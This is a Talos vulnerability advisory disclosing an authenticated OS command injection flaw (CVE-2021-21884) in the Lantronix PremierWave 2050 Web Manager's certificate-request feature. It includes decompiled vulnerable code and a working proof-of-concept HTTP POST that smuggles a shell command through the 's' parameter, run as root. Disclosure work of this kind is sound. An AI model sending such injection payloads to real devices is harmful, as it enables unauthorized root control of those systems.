Talos Vulnerability Report

TALOS-2021-1328

Lantronix PremierWave 2050 Web Manager SslGenerateCSR OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21884

Summary

An OS command injection vulnerability exists in the Web Manager SslGenerateCSR functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager provides a Certificate Signing Request generator for use by authenticated and authorized users. The implementation of this feature relies on a `system` call out to the `openssl` application. This command is composed of several unsanitized and unverified attacker-controlled HTTP Post parameters. The command is executed with root privileges.

Included below is a partial decompilation of the relevant portions of the exploitable function.

```
if ( !IsGroupListWritable("ssl") ) {
    // User does not have `ssl` authorization
    error();
}

country = get_POST_parameter("c");
keytype = get_POST_parameter("keytype");
state = get_POST_parameter("s");
locality = get_POST_parameter("l");
organization = get_POST_parameter("o");
organizational_unit = get_POST_parameter("ou");
common_name = get_POST_parameter("cn");
bits_s = get_POST_param("bits");
curve_bits_s = get_POST_param("curve_bits");

strcpy(command, "openssl req -new -nodes -sha256 -subj '");

if ( !country || !*country || strlen(country) != 2 ) { error(); }
if ( !state || !*state ) { error(); }
if ( !locality || !*locality ) { error(); }
if ( !organization || !*organization ) { error(); }
if ( !organizational_unit || !*organizational_unit ) { error(); }
if ( !common_name || !*common_name) { error(); }

strcat(command, "/C=");
strcat(command, country);               // [1] Limited to exactly two characters, not easy to abuse
strcat(command, "/ST=");
strcat(command, state);                 // [2] Exploitable
strcat(command, "/L=");
strcat(command, "locality);             // [3] Exploitable
strcat(command,"/O=");
strcat(command, organization);          // [4] Exploitable
strcat(command, "/OU=");
strcat(command, organizational_unit);   // [5] Exploitable
strcat(command, "/CN=");
strcat(command, common_name);           // [6] Exploitable

if ( !strcasecmp(keytype, "RSA") ) {
    strcat(command, "' -newkey rsa:");

    if ( !bits_s || !*bits_s { error(); }
    bits = strtol(bits_s, 0, 10);
    if ( bits != 4096 || bits != 2048 ) { error(); }
} else if ( !strcasecmp(ketype, "ECDSA" ) {
    /* Skipping logic that decides which curve to use based on user supplied curve_bits parameter */
} else {
    error();
}

strcat(command, " -keyout /tmp/csr_key.pem -out /tmp/csr_cert.pem");
mpnipc_proxy_shell_cmd(command, 0);

...
```

As indicated above, a majority of the parameters that allow arbitrary strings can be used to inject into the system call. In the below example, `s` is used but `l`, `o`, `ou`, and `cn` are equally exploitable.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 160
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=SslGenerateCSR&c=AU&l=city&o=Internet%20Widgits%20Pty%20Ltd&ou=section&cn=example.com&keytype=RSA&bits=2048&iehack=&submit=Submit&s=';
whoami #
```

This request results in the following command being executed as root.

```
sh -c openssl req -new -nodes -sha256 -subj '/C=AU/ST='; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
